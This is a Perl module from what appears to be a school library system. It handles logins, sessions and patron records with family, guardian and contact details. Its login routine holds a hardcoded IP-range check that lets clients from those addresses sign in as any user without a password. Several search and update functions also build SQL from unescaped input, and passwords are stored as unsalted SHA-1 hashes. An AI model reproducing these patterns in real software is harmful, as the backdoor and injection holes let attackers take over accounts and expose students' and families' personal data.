package	Opals::UserHa;


use	Exporter;
@ISA       = qw(Exporter);
# Symbols to be exported by default
#@EXPORT    = qw();
# Symbols to be exported on request
@EXPORT_OK = qw(
    user_login
    user_logout
    user_currentUser
    user_getUserList
    user_getInformationById
    user_getFamilyMember
    user_getContactList
    user_getGuardianList
    user_save
    user_delete
    user_permission
    user_LoadCategory
    user_category
    user_disable
    circ_cancelHoldReserve


    user_searchByName
    user_searchByTeacher
    user_searchByBuilding
    user_searchByGrade
    user_searchByHomeroom
    
    user_getHR_Grade_TeacherList
);

use Opals::Circulation qw(
    circ_cancelHoldReserve
);

# Version number
$VERSION   = 0.01;

use POSIX qw(
    isdigit
);
use Opals::Date qw(
    date_text
    date_text_lang
);


#use utf8;
use strict;
#use Constant;
use Digest::SHA qw(
    sha1_base64
    sha1_hex
);
# sha256_base64 sha384_base64 sha512_base64);
use Time::HiRes qw(
    time
);
use Opals::Transactions qw(
    trans_getBalance
);
use Opals::Tb_Transactions qw(
    trans_tb_getBalance
);
use Time::localtime;
use Opals::Context;
use Opals::Constant;
#-------------------------------------------------------------
    my $field_personInfo_brief   = ["uid","firstname","middlename","lastname","nickname","gender","email","status","userbarcode",
                                    "homeroom","categorycode" ,"permissions","pw_timestamp","created","modified","incomplete" ];
    my $field_personInfo         = ["uid", "title","firstname","middlename","lastname","nickname","fullname","birthday","gender",
                            "created","modified","userbarcode", "username" ,"password","categorycode" ,"permissions","pw_timestamp",
                            "membershipExipry","biometricLnk","digitalSign","email","homePhone","workPhone","cellPhone",
                            "fax","addrLine1","addrLine2","city","zip","state","country","neighborhood","addrLine1_alt","addrLine2_alt",
                            "city_alt","zip_alt","state_alt","country_alt","neighborhood_alt","addrExpiry_alt",
                            "status","buildingcode","homeroom","teacher","grade","yeargraduation","notes",
                            "pref_lang","pref_contact","sysCode","libCode","program","studies","permanent","fulltime","incomplete" ];

#-------------------------------------------------------------
sub user_logout {
    my ($cgi, $template) = @_;
    my @cookie;
    my $sessionID = $cgi->cookie('sessionID');
    if ($sessionID && length($sessionID) == 40) {
        push @cookie, $cgi->cookie(
            -name       => 'sessionID',
            -value      => '',
        );
        push @cookie, $cgi->cookie(
            -name       => 'borrower',
            -value      => '',
        );

    }
        $template->param(
        curUserName  => '',
        curUserId    => '',
        user_invalid => 0,
        pass_invalid => 0,
        logout       => 1,
    );
    return \@cookie;
}

#-------------------------------------------------------------
sub user_currentUser {
    my ($dbh, $cgi, $application) = @_;
    my @cookie;
    my ($errCode, $timeout, $currentUser);
    my $sessionID ;
    if($cgi){
        if($cgi->param('logout') eq '1'){
             $sessionID ="";
        }
        else{
            $sessionID = $cgi->cookie('sessionID');
        }
    }
    elsif($application){
        $sessionID = $application->{'sessionID'};
    }

    if ($sessionID && length($sessionID) == 40) {
        $timeout = Opals::Context->preference('timeout');
        my $expr = {
            s => 'second',
            m => 'minute',
            h => 'hour',
            d => 'day',
            M => 'month',
            y => 'year',
        };
        if ($timeout =~ m/(\d+)([smhdMY])/) {
            if ($2) {
                $timeout = "$1 " . $expr->{$2};
            }
            else {
                $timeout = "5 minute";
            }
        }
        else {
            $timeout = "5 minute";
        }
        my $sth = $dbh->prepare(<<_STH_);
select  username, password, firstname, lastname, S.uid,U.email,C.*
from    opl_session as S, opl_personInfo as U left outer join opl_category C on U.categorycode = C.catid 
where   sessionid = ? &&
        lasttime + interval $timeout > now() &&
        S.uid = U.uid
_STH_
        $sth->execute($sessionID);
        
#        ($currentUser) = $sth->fetchrow_array;
        ($currentUser) = $sth->fetchrow_hashref;
        $sth->finish;
        if ($currentUser) {
            $sth = $dbh->prepare(<<_STH_);
update  opl_session
set     lasttime = now()
where   sessionid = ?
_STH_
            $sth->execute($sessionID);
            $sth->finish;
            $errCode = 0;
        }
        else {
            $errCode = 4; # session timed out
            if($cgi){
                push @cookie, $cgi->cookie(
                    -name  => 'sessionID',
                    -value => '',
                );
            }
        }
    }
    else {
        my $ck;
        if ($cgi){
           ($errCode, $ck, $currentUser) = user_login($dbh, $cgi,undef);

           @cookie = @{$ck} if ($ck);
        }
       
     }

    return ($errCode, \@cookie, $currentUser);
}
#-----------------------------------------------------------------------------------------------
# return value:
# - 0: successful
# - 1: username missing
# - 2: username invalid
# - 3: password invalid

sub user_login{
    my ($dbh, $cgi,$application) = @_;
    my @cookie;
    my ($username, $password, $sessionID);
    if($cgi){
        $username = $cgi->param('username');
        $password = $cgi->param('password');
    }
        # Tuesday, May 23,2006
        # for application authentication
    elsif($application){
        $username = $application->{'username'};
        $password = $application->{'password'};
    }
    unless ($username) {
        return (1, undef, undef);
    }
    my ($thePretender, $userIP ,$auth)=(0,'',0);
    $userIP = $ENV{'REMOTE_ADDR'};
    if ($userIP =~ m/^199\.202\.10(0\.23[6-9]|1\.2(4[89]|5[0-4]))$/) {
        $thePretender = 1;
    }
    my $pw_digest = sha1_base64($password);
    
    my $user = getUserByUserName($dbh,$username);
    if($user && ($thePretender ||$user->{'password'} eq $pw_digest)){
        $auth=1;
    }
    else{   
        $user=getUserBySID($dbh,$username); 
        $auth =1 if($user && $user->{'authenticateBySID'} eq '1');      
    }

    if ($auth) {
        
           $sessionID = sha1_hex(time . rand(time));
           my $sth = $dbh->prepare(<<_STH_);
insert into opl_session
values (?,?,?,now())
_STH_
            $sth->execute($sessionID, $user->{'uid'}, $userIP);
            $sth->finish;
            my $timeout = Opals::Context->preference('timeout');
            if ($timeout =~ m/\d+[smhdMY]/) {
                $timeout = "+$timeout";
            }
            else {
                $timeout = "+20m";
            }
            if($cgi){ 
                push @cookie, $cgi->cookie(
                    -name       => 'sessionID',
                    -value      => $sessionID,
                );
                my @cookieClear = (
                    'lidBorrower', 
                    'lidLender', 
                    'sidBorrower', 
                    'sidLender', 
                    'illFilterBorrower', 
                    'illFilterLender', 
                    'scope',
                    'hitCounter'
                );
                foreach my $c (@cookieClear) {
                    push @cookie, $cgi->cookie(
                        -name       => $c,
                        -value      => '',
                    );
                }
               return (0, \@cookie, $user);
            }
            elsif($application){
                return(0, $sessionID, $user);
            }
        }
        else {
            return (3, undef, undef);
        }
    

	return (2, undef, undef);
}
#-----------------------------------------------------------------------------------------------
sub getUserByUserName{
    my ($dbh,$username)=@_;
    my $sth = $dbh->prepare(<<_STH_);
select  username, password, uid, firstname,email,c.* 
from    opl_personInfo u left outer join opl_category c on u.categorycode = c.catid 
where   username=? &&
        status=1
_STH_
    $sth->execute($username);
    my $row = $sth->fetchrow_hashref;
    $sth->finish;
    return $row;
   
}
#-----------------------------------------------------------------------------------------------
sub getUserBySID{
    my ($dbh,$sid)=@_;
    my $sth = $dbh->prepare(<<_STH_);
select  username, password, uid, firstname,email,c.* 
from    opl_personInfo u inner join opl_category c on u.categorycode = c.catid 
where   (sid=? || userbarcode=?) 
        && status=1
_STH_
    $sth->execute($sid,$sid);
    my $row = $sth->fetchrow_hashref;
    $sth->finish;
    return $row;
   
}


#-------------------------------------------------------------
# relType:guardian, family, contact
# role:  
#        guardian : [mother,father, uncle, ... ]
#        family   : [wife,child,husband ...]
#        contact  : [caregiver,social worker, ... ]
#
#-------------------------------------------------------------
sub user_getFamilyMember {
    my ($dbh, $uid) = @_;

    my $sql = " select  u.*, relType,role 
                from    opl_userRelation r right outer join  opl_personInfo u on u.uid=r.relUid   
                where   r.uid=? && relType ='family'";   
    my $sth = $dbh->prepare($sql);  
   $sth->execute($uid) || return;

    my @famList =();
    while (my $r = $sth->fetchrow_hashref) {
        $r->{'created'}        = substr $r->{'created'}, 0, 10;
        $r->{'modified'}       = substr $r->{'modified'}, 0, 10;
        $r->{'addrExpiry_alt'} = substr $r->{'addrExpiry_alt'}, 0, 10;
        $r->{'issueBy'}= Opals::Context->preference('libcode') if(!defined $r->{'issueBy'} || $r->{'issueBy'} eq "");
        $r->{'contactList'} =user_getContactList($dbh,$r->{'uid'});
        $r->{'guardianList'}=user_getGuardianList($dbh,$r->{'uid'});
        push @famList,$r;
    }
    $sth->finish;  
    return \@famList;
   
}

#-------------------------------------------------------------
sub user_getContactList {
    my ($dbh, $uid) = @_;

    my $sql = " select  u.*, relType,role 
                from    opl_userRelation r right outer join  opl_personInfo u on u.uid=r.relUid   
                where   r.uid=? && relType ='contact'";   
    my $sth = $dbh->prepare($sql);  
   $sth->execute($uid) || return;

    my @retList =();
    while (my $r = $sth->fetchrow_hashref) {
        $r->{'created'}        = substr $r->{'created'}, 0, 10;
        $r->{'modified'}       = substr $r->{'modified'}, 0, 10;
        $r->{'addrExpiry_alt'} = substr $r->{'addrExpiry_alt'}, 0, 10;
        $r->{'issueBy'}= Opals::Context->preference('libcode') if(!defined $r->{'issueBy'} || $r->{'issueBy'} eq "");
        push @retList,$r;
    }
    push @retList ,{relType=>'contact'} if(scalar(@retList))==0 ;
    $sth->finish;  
    return \@retList;
   
}
#-------------------------------------------------------------
sub user_getGuardianList {
    my ($dbh, $uid) = @_;

    my $sql = " select  u.*, relType,role 
                from    opl_userRelation r right outer join  opl_personInfo u on u.uid=r.relUid   
                where   r.uid=? && relType ='guardian'";   
    my $sth = $dbh->prepare($sql);  
   $sth->execute($uid) || return;

    my @retList =();
    while (my $r = $sth->fetchrow_hashref) {
        $r->{'created'}        = substr $r->{'created'}, 0, 10;
        $r->{'modified'}       = substr $r->{'modified'}, 0, 10;
        $r->{'addrExpiry_alt'} = substr $r->{'addrExpiry_alt'}, 0, 10;
        $r->{'issueBy'}= Opals::Context->preference('libcode') if(!defined $r->{'issueBy'} || $r->{'issueBy'} eq "");

        $r->{'contactList'} =user_getContactList($dbh,$r->{'uid'});
        push @retList,$r;
    }
    $sth->finish;  
    return \@retList;
   
}

#-------------------------------------------------------------
sub _saveUserRelation {
    my ($dbh, $uid,$relList) = @_;
    my  $sth = $dbh->prepare("insert into opl_userRelation set uid=?, relUid= ?, relType=?, role=?" );
    foreach my $rel(@$relList){
        next if( ($rel->{'tobeRemoved'} && $rel->{'tobeRemoved'} eq 'true') || 
                 ($rel->{'relUid'} ==0 || !defined $rel->{'relUid'})   );
       $sth->execute($uid,$rel->{'relUid'},$rel->{'relType'},$rel->{'role'}) ;
    }
    $sth->finish;
}

#-------------------------------------------------------------
sub _deleteUserRelation {
    my ($dbh, $uid,$relType) = @_;
    my $sql ="delete from opl_userRelation where uid=?";
    $sql .= " && relType = '$relType'" if(defined $relType && $relType ne "");
    my $sth = $dbh->prepare($sql);
    $sth->execute($uid);
    $sth->finish;
}

#-------------------------------------------------------------
sub user_getInformationById {
    my ($dbh, $uid) = @_;
    my $sth = $dbh->prepare(<<_STH_);
select  *  
from    opl_personInfo   
where   uid=? limit 1
_STH_
    
    $sth->execute($uid) || return;
    my $user;
    if($user =  $sth->fetchrow_hashref){
        $user->{'created'} = substr $user->{'created'}, 0, 10;
        $user->{'modified'} = substr $user->{'modified'}, 0, 10;
        $user->{'addrExpiry_alt'} = substr $user->{'addrExpiry_alt'}, 0, 10;
        $user->{'issueBy'}= Opals::Context->preference('libcode') if(!defined $user->{'issueBy'} || $user->{'issueBy'} eq "");
    }
    $sth->finish;
    return $user;
}

#-------------------------------------------------------------
sub user_save_bk {
    my ($dbh, $user) = @_;
    $user->{'uid'} = _savePersonInfo($dbh, $user);
    my $relUid=0;
    my @defList ;
    if (scalar($user->{'contactList'}) == 1 && $user->{'contactList'}[0]->{'firstname'} eq ""){
        $user->{'contactList'}=undef;
    }
    _deleteUserRelation($dbh, $user->{'uid'});
    foreach my $relType qw(contactList familyMembers guardianList){
        next if(!defined $user->{$relType} || scalar(@{$user->{$relType}})==0);

        foreach my $r (@{$user->{$relType}}){
            if($r->{'tobeRemoved'} && $r->{'uid'}>0){
                    user_delete($dbh, $r->{'uid'});
                }
            else{
                $relUid=_savePersonInfo($dbh, $r); 
                $r->{'relUid'}=$relUid;
            }

            if($relType eq 'familyMembers' && defined $r->{'contactList'} && scalar(@{$r->{'contactList'}})>0){
                foreach my $c (@{$r->{'contactList'}}){
                    next if($c->{'firstname'} eq "");
                    $c->{'relUid'}=_savePersonInfo($dbh, $c);
                }
                _saveUserRelation($dbh, $r->{'uid'}, $r->{'contactList'});

            }
        }
        _saveUserRelation($dbh, $user->{'uid'}, $user->{$relType}) if(scalar $user->{$relType}>0);

    }

    return $user->{'uid'};
}

#-------------------------------------------------------------
sub user_save {
    my ($dbh, $user) = @_;
    $user->{'uid'} = _savePersonInfo($dbh, $user);
    if (scalar($user->{'contactList'}) == 1 && $user->{'contactList'}[0]->{'firstname'} eq ""){
        $user->{'contactList'}=undef;
    }
    my $relTypes = {contactList=>'contact', familyMembers=>'family', guardianList=>'guardian'};
   
    foreach my $relType qw(contactList familyMembers guardianList){
        _deleteUserRelation($dbh, $user->{'uid'},$relTypes->{$relType});
        next if(!defined $user->{$relType} || scalar(@{$user->{$relType}})==0);
        next if($relType eq 'contactList' &&  scalar(@{$user->{$relType}})==1 &&
                $user->{$relType}[0]->{'firstname'} eq "" && $user->{$relType}[0]->{'lastname'} eq "");
        foreach my $r (@{$user->{$relType}}){
            if($r->{'tobeRemoved'} && $r->{'uid'}>0){
                user_delete($dbh, $r->{'uid'});
            }
            else{
                $r->{'relUid'}=_savePersonInfo($dbh, $r);
                if ( $relType eq 'familyMembers' && 
                     (defined $r->{'contactList'}  && 
                     $r->{'contactList'}[0]->{'firstname'} ne "" && $r->{'contactList'}[0]->{'lastname'} ne ""))
                 { 
                        _deleteUserRelation($dbh, $r->{'uid'},$relTypes->{'contactList'});
                        foreach my $c (@{$r->{'contactList'}}){
                            $c->{'relUid'}=_savePersonInfo($dbh, $c);
                        }
                        _saveUserRelation($dbh, $r->{'uid'}, $r->{'contactList'});

                }#if
            }
        }#foreach
        _saveUserRelation($dbh, $user->{'uid'}, $user->{$relType});
    }
    
    return $user->{'uid'};
}
#-------------------------------------------------------------
sub _savePersonInfo {
    my ($dbh, $user) = @_;
    my $sql      = "";
    my $sql_cond ="";
    my $uid=0;

    if($user->{'uid'}>0){
        $uid=$user->{'uid'};
        $sql = "update opl_personInfo set " ;
        $sql_cond =" where uid=$user->{'uid'}";

    }
    else{
        $sql = "insert into opl_personInfo set " ;
        $user->{'status'}=1;
    }
    my @newData  = ();
    my @fiel2Update=();
    foreach my $f(@$field_personInfo){
        if (defined $user->{$f}){
            push  @fiel2Update ," $f=? ";
            my $data=  $user->{$f};
            if($f eq 'fullname'){
                $data="";
                $data = $user->{'firstname'} . " " .  $user->{'lastname'} ." " .  $user->{'middlename'} . " " .  $user->{'nickname'} ;
            }
            $data =sha1_base64($data) if($f eq 'password' && $user->{"loginInfoChanged"}) ;
            push @newData,$data;
        }
    }
    $sql .= join(",", @fiel2Update) ;
    $sql .=  $sql_cond;
   my  $sth = $dbh->prepare($sql);
   $sth->execute(@newData) if(scalar(@newData)>0);
   if($uid==0){
       $uid= $dbh->{'mysql_insertid'};
   }
   $sth->finish;
   _updateUserImg($dbh,$uid,$user->{'imgId'});
   return $uid;
   
}
#-------------------------------------------------------------

sub _updateUserImg{
    my($dbh,$uid,$imgId)=@_;
    if (defined $imgId){
        my $sth=$dbh->prepare("delete from opl_userImg where  uid=? ");
                $sth->execute($uid);
        if($imgId>0){
            $sth=$dbh->prepare("update opl_userImg set uid=? where id=?");
            $sth->execute($uid,$imgId);
        }
        $sth->finish;
    }

}



#-------------------------------------------------------------
sub user_permission {
    my ($dbh, $currentUser) = @_;
    my $permStr ="";
    if ($currentUser) {
        my $sth = $dbh->prepare(<<_STH_);
select  permissions
from    opl_personInfo
where   uid = ?
_STH_

        $sth->execute($currentUser) || return;
         ($permStr) = $sth->fetchrow_array;
        $sth->finish;
       
    }
    return $permStr;
}
#-------------------------------------------------------------
sub user_LoadCategory {
    my ($dbh) = @_;
    # get default borrower type
    my $sth = $dbh->prepare(<<_STH_);
select * from opl_preference where var='defCategory'
_STH_
    $sth->execute();
    my $rec = $sth->fetchrow_hashref;
    $sth->finish;
    my $deftype = uc($rec->{'val'});
    if($deftype eq''){
    $sth = $dbh->prepare(<<_STH_);
    select catname, count(uid) as count from opl_personInfo u inner join opl_category c on u.categorycode=c.catid group by catname order by count desc limit 1 
_STH_
    $sth->execute();
    $rec = $sth->fetchrow_hashref;
    $sth->finish;
    $deftype = uc($rec->{'catname'});

    }
   
    # retrieve all categories
    $sth = $dbh->prepare(<<_STH_);
select * from opl_category order by catname asc
_STH_
    $sth->execute();
    my @type = ();
    my $i=0;
    while (my $bt = $sth->fetchrow_hashref) {
        if (uc($bt->{'catname'}) eq $deftype) {
            $bt->{'def'} = 1;
        }
        $bt->{'newRow'} = ($i % 4 == 0 )?1:0;
        $i +=1;
        push @type, $bt;
    }
    $sth->finish;
    return @type;
}
#-------------------------------------------------------------
sub user_category
{
    my ($dbh, $uid) = @_;
    my $query = $dbh->prepare("select * from opl_personInfo where uid=$uid");
    $query->execute();
    my $rec = $query->fetchrow_hashref;
    my $catid = $rec->{'categorycode'};
    $query->finish;
    
    $query = $dbh->prepare("select * from opl_category where catid=$catid");
    $query->execute();
    $rec = $query->fetchrow_hashref;
    $query->finish;

    return $rec;
}

#-------------------------------------------------------------
sub user_disable {
    my ($dbh, $uid) = @_;

    return $dbh->do("update opl_personInfo set status=0 where uid=$uid");
}

#-------------------------------------------------------------
sub user_delete {
    my ($dbh, $uid) = @_;
    my @uidList = ();
    push @uidList, $uid;
    my $cgi = CGI->new;

    my ($errCode, $myCookie, $curUser) = user_currentUser($dbh, $cgi);
    return _onProcessDeleteUser($dbh, \@uidList, $curUser->{'uid'});
}
#-------------------------------------------------------------
sub _onProcessDeleteUser{
    my ( $dbh, $uidList, $idCurrent) = @_;

# Query insert user  into opl_delUser  :2008/09/22 
    my $szInsertSql = "insert into opl_delUser select * from opl_personInfo where uid = ?";
    my $queryInsert = $dbh->prepare($szInsertSql);

# Query delete user    
    my $szDelSql = "delete from opl_personInfo where uid = ?";
    my $queryDel = $dbh->prepare($szDelSql);
  
# Query check if user is loanning an item
    my $szLoanSql = "select idloan from opl_loan where uid = ? and dateReturn is null";
    my $queryLoan = $dbh->prepare($szLoanSql);
    
# Query get user status 
    my $szUserSql = "select status from opl_personInfo where uid = ?";
    my $queryUser = $dbh->prepare($szUserSql);

# Query check if user did any transaction
    my $szTransSql = "select count(*) from opl_loan where uid=?";
    my $queryTrans = $dbh->prepare($szTransSql);

#Thu, Jul 17, 2014 @ 12:15:24 EDT Khanh
# check if has Textbook Loans and balance -- Query check if user has textbook loan
    my $tbLoanSql = "select id from tb_loan where uid = ? and dateReturn is null";
    my $queryTbLoan = $dbh->prepare($tbLoanSql);
    
    my $numNotDel = 0;
    my $newlist = '';
    foreach my $uid (@$uidList){
        # if this user is loaning some items, leave it
        next if(int($uid)==1);
        $queryLoan->execute($uid);
        my $recLoan = $queryLoan->fetchrow_hashref;
        $queryTbLoan->execute($uid);
        my $tbLoan = $queryTbLoan->fetchrow_hashref;

        my $bal = trans_getBalance($dbh, $uid);
        my $tb_bal = trans_tb_getBalance($dbh,$uid);

        $queryUser->execute($uid);
        my ($status) = $queryUser->fetchrow_array;
        if ( $status )
        {
            $queryTrans->execute($uid);
            my ($count) = $queryTrans->fetchrow_array;
            $queryTrans->finish;
            $status = 0 if ( $count == 0 );
        }
        if ( $recLoan || $tbLoan || $bal != 0 || $tb_bal != 0 || $idCurrent == $uid ){
            $numNotDel++; $newlist .= $uid . ','; next;
        }


        # Move deleted user into opl_deletedUser
        $queryInsert->execute($uid);
       
        cancelUerHoldReserve($dbh,$uid);
      # delete this user
#DEBUG: close this line         $queryDel->execute($uid) || return;
    }
    $queryUser->finish;
    $queryLoan->finish;
    $queryInsert->finish;
    $queryDel->finish;
    return ($numNotDel,$newlist);
}
#-------------------------------------------------------------
sub cancelUerHoldReserve {
    my ($dbh,$uid)=@_;
    my @rhList=();
    my $tm = localtime;
    my $todayStr = sprintf("%04d-%02d-%02d", $tm->year +1900, ($tm->mon)+1, $tm->mday);

    my $sth_hold   =$dbh->prepare("select idReserve from opl_hold h inner join opl_reserve r using(idReserve)
                                   where h.dateExpiry>now() && h.dateLoan is null && h.dateCancel is null && uid=?");
    my $sth_reserve=$dbh->prepare("select idReserve from  opl_reserve 
                                    where dateExpiry>now() && numCopyReserve>0 && dateCancel is null && uid=?");
    $sth_hold->execute($uid);
    while(my ($id)=$sth_hold->fetchrow_array){
        push @rhList,$id;
    }
    $sth_reserve->execute($uid);
    while(my ($id)=$sth_reserve->fetchrow_array){
        push @rhList,$id;
    }
    foreach my $id(@rhList){
        circ_cancelHoldReserve($dbh,$id,$todayStr);
    }

}
#-------------------------------------------------------------
   
    sub user_getUserList{
        my($dbh,$grp,$term,$pNum,$pSize,$sortVal,$sortOrder,$status)=@_;
        
        my $offset=0;
        if(!defined $pSize || $pSize !~ m/^(\d)+$/g){
            $pSize=20;
        }
        if(!defined $pNum || $pNum !~ m/^(\d)+$/g){
            $pNum=1;
        }
        if(!defined $status || $status !~ m/^0$|^1$/g){
            $status=1;
        }
        $offset= ($pNum -1)*$pSize;
        my $numOfUserFound=0;
        my $userList;
        if($grp eq 'name'){
           ($numOfUserFound,$userList)= user_searchByName($dbh,$term,$status,$offset,$pSize,$sortVal,$sortOrder);
        }
        elsif($grp eq 'userbarcode'){
            my @tmp;
            my $user= getUserBySID($dbh,$term);
            $user->{'familyMembers'}= user_getFamilyMember($dbh,$term);
            $user->{'guardianList'} = user_getGuardianList($dbh,$term);
            $user->{'contactList'}  = user_getContactList($dbh,$term);
             push @tmp,$user;
            ($numOfUserFound,$userList)=(1,\@tmp);
        }
        elsif($grp eq 'uid'){
           my @tmp;
           my $user= user_getInformationById($dbh,$term);
           $user->{'familyMembers'}= user_getFamilyMember($dbh,$term);
           $user->{'guardianList'} = user_getGuardianList($dbh,$term);
           $user->{'contactList'}  = user_getContactList($dbh,$term);
           push @tmp,$user;

           ($numOfUserFound,$userList)=(1,\@tmp);
        }
        elsif($grp eq 'teacher'){
           ($numOfUserFound,$userList)= user_searchByTeacher($dbh,$term,$status,$offset,$pSize,$sortVal,$sortOrder);
        }
        elsif($grp eq 'building'){
           ($numOfUserFound,$userList)= user_searchByBuilding($dbh,$term,$status,$offset,$pSize,$sortVal,$sortOrder);
        }
        elsif($grp eq 'grade'){
           ($numOfUserFound,$userList)= user_searchByGrade($dbh,$term,$status,$offset,$pSize,$sortVal,$sortOrder);
        }
        elsif($grp eq 'homeroom'){
           ($numOfUserFound,$userList)= user_searchByHomeroom($dbh,$term,$status,$offset,$pSize,$sortVal,$sortOrder);
        }
       
     return ($numOfUserFound,$userList);

   }

#-------------------------------------------------------------

sub  _getUserRelationList{
    my($dbh,$uid)=@_;
    my $familyMemberList= user_getFamilyMember($dbh,$uid);
    my $guardianList    = user_getGuardianList($dbh,$uid);
    my $contactList     = user_getContactList($dbh,$uid);

    return ($familyMemberList,$guardianList,$contactList);
}
#-------------------------------------------------------------

sub  user_searchByName{
    my($dbh,$name,$status,$offset,$pSize,$sortVal,$sortOrder)=@_;
    
    if(!defined $status || ($status !=0 && $status !=1)){
         $status =1;
    }
    if(!$offset || $offset eq ''){
        $offset=0;
    }
    if(!$pSize || $pSize eq ''){
        $pSize=20;
    }
    my $cond=" status=$status && fullname !='' ";
    $name =~ s/ +/ /g;
    $name =~ s/,/ /g; 
    $name =~ s/'/\\'/g;
    my @data = split(' ', $name);
           
    foreach my $i (@data) {
        if($i =~ m/\w+/g){
            $cond .= " && (fullname regexp '^$i' or fullname regexp '[^[:alnum:]]+$i' )";
       }
     }
     my $query =" select  * from   opl_personInfo where $cond"  ;  
     my $queryCount= "select count(*) from opl_personInfo where $cond ";

     if($sortVal =~ m/lastname|firstname/gi){
            $query .=" order by $sortVal";
            if($sortOrder =~ m/desc|asc/gi){
                $query .=" $sortOrder";
            }
     }
    $query .=" limit $offset,$pSize ";

    my ($count) =$dbh->selectrow_array($queryCount);
    my @userList=();
    if($count>0){
        my $sth =$dbh->prepare($query);
        $sth->execute();
        while(my $user =$sth->fetchrow_hashref){
            ($user->{'familyMembers'},$user->{'guardianList'},$user->{'contactList'})=_getUserRelationList($dbh,$user->{'uid'});
            push @userList,$user;
        }
    }
    return ($count,\@userList);
    
}
#-------------------------------------------------------------
sub user_searchByTeacher{
    my($dbh,$teacher,$status,$offset,$pSize,$sortVal,$sortOrder)=@_;

    if(!defined $status || ($status !=0 && $status !=1)){
         $status =1;
    }
    if(!$offset || $offset eq ''){
        $offset=0;
    }
    if(!$pSize || $pSize eq ''){
        $pSize=20;
    }

    my $cond="status=$status  && fullname !=''";
    $teacher =~ s/ +/ /g;
    $teacher =~ s/,/ /g; 
    $teacher =~ s/'/\\'/g;
    my @data = split(' ', $teacher);
           
    foreach my $i (@data) {
        if($i =~ m/\w+/g){
            $cond .= " and (teacher regexp '^$i' or teacher regexp '[^[:alnum:]]+$i' )";
       }
     }
     my $query =" select  * from   opl_personInfo where $cond"  ;   
     my $queryCount= "select count(*) from opl_personInfo where $cond ";

     if($sortVal =~ m/lastname|firstname/gi){
            $query .=" order by $sortVal";
            if($sortOrder =~ m/desc|asc/gi){
                $query .=" $sortOrder";
            }
     }
    $query .=" limit $offset,$pSize ";

    my ($count) =$dbh->selectrow_array($queryCount);
    my @userList=();
    if($count>0){
        my $sth =$dbh->prepare($query);
        $sth->execute();
        while(my $user =$sth->fetchrow_hashref){
            ($user->{'familyMembers'},$user->{'guardianList'},$user->{'contactList'})=_getUserRelationList($dbh,$user->{'uid'});
            push @userList,$user;
        }
    }
    return ($count,\@userList);
    
}
#-------------------------------------------------------------
sub user_searchByBuilding{
    my($dbh,$building,$status,$offset,$pSize,$sortVal,$sortOrder)=@_;
    
    if(!defined $status || ($status !=0 && $status !=1)){
         $status =1;
    }

    if(!$offset || $offset eq ''){
        $offset=0;
    }
    if(!$pSize || $pSize eq''){
        $pSize=20;
    }

     my $query      =" select  * from   opl_personInfo where status=$status && buildingcode = '$building'  && fullname !=''"  ;   
     my $queryCount = "select count(*) from opl_personInfo  where status=$status && buildingcode = '$building'  && fullname !=''";

     if($sortVal =~ m/lastname|firstname/gi){
            $query .=" order by $sortVal";
            if($sortOrder =~ m/desc|asc/gi){
                $query .=" $sortOrder";
            }
     }
    $query .=" limit $offset,$pSize ";

    my ($count) =$dbh->selectrow_array($queryCount);
    my @userList=();
    if($count>0){
        my $sth =$dbh->prepare($query);
        $sth->execute();
        while(my $user =$sth->fetchrow_hashref){
            ($user->{'familyMembers'},$user->{'guardianList'},$user->{'contactList'})=_getUserRelationList($dbh,$user->{'uid'});
            push @userList,$user;
        }
    }
    return ($count,\@userList);
    
}

#-------------------------------------------------------------
sub user_searchByGrade{
    my($dbh,$grade,$status,$offset,$pSize,$sortVal,$sortOrder)=@_;

    if(!defined $status || ($status !=0 && $status !=1)){
         $status =1;
    }

    if(!$offset || $offset eq ''){
        $offset=0;
    }
    if(!$pSize || $pSize eq ''){
        $pSize=20;
    }

     my $query      =" select  * from   opl_personInfo where status=$status &&  grade= '$grade' && fullname !=''"  ;   
     my $queryCount = "select count(*) from opl_personInfo  where status=$status &&  grade= '$grade'  && fullname !=''";

     if($sortVal =~ m/lastname|firstname/gi){
            $query .=" order by $sortVal";
            if($sortOrder =~ m/desc|asc/gi){
                $query .=" $sortOrder";
            }
     }
    $query .=" limit $offset,$pSize ";

    my ($count) =$dbh->selectrow_array($queryCount);
    my @userList=();
    if($count>0){
        my $sth =$dbh->prepare($query);
        $sth->execute();
        while(my $user =$sth->fetchrow_hashref){
            ($user->{'familyMembers'},$user->{'guardianList'},$user->{'contactList'})=_getUserRelationList($dbh,$user->{'uid'});
            push @userList,$user;
        }
    }
    return ($count,\@userList);
    
    
}
#-------------------------------------------------------------
sub user_searchByHomeroom{
    my($dbh,$homeroom,$status,$offset,$pSize,$sortVal,$sortOrder)=@_;

    if(!defined $status || ($status !=0 && $status !=1)){
         $status =1;
    }

    if(!$offset || $offset eq ''){
        $offset=0;
    }
    if(!$pSize || $pSize eq ''){
        $pSize=20;
    }

     my $query      =" select  * from   opl_personInfo where status=$status && homeroom = '$homeroom'  && fullname !='' "  ;   
     my $queryCount = "select count(*) from opl_personInfo  where  status=$status && homeroom= '$homeroom'  && fullname !='' ";

     if($sortVal =~ m/lastname|firstname/gi){
            $query .=" order by $sortVal";
            if($sortOrder =~ m/desc|asc/gi){
                $query .=" $sortOrder";
            }
     }
    $query .=" limit $offset,$pSize ";
    my ($count) =$dbh->selectrow_array($queryCount);
    my @userList=();
    if($count>0){
        my $sth =$dbh->prepare($query);
        $sth->execute();
        while(my $user =$sth->fetchrow_hashref){
            ($user->{'familyMembers'},$user->{'guardianList'},$user->{'contactList'})=_getUserRelationList($dbh,$user->{'uid'});
            push @userList,$user;
        }
    }
    return ($count,\@userList);
    
    
}

#-------------------------------------------------------------
# $field: homeroom/grade/teacher in table opl_personInfo
#-------------------------------------------------------------
sub user_getHR_Grade_TeacherList{
    my($dbh,$field)=@_;
    my $query  =" select  distinct($field) as val from   opl_personInfo where status=1 order by $field"; 
    my $sth =$dbh->prepare($query);
    $sth->execute();
    my @retList=();
    while(my $r =$sth->fetchrow_hashref){
        $r->{'name'} = $r->{'val'};
        if($r->{'val'} eq""){
            $r->{'name'}='none';
        }
        push @retList,$r;
    }
    return \@retList;
}
1;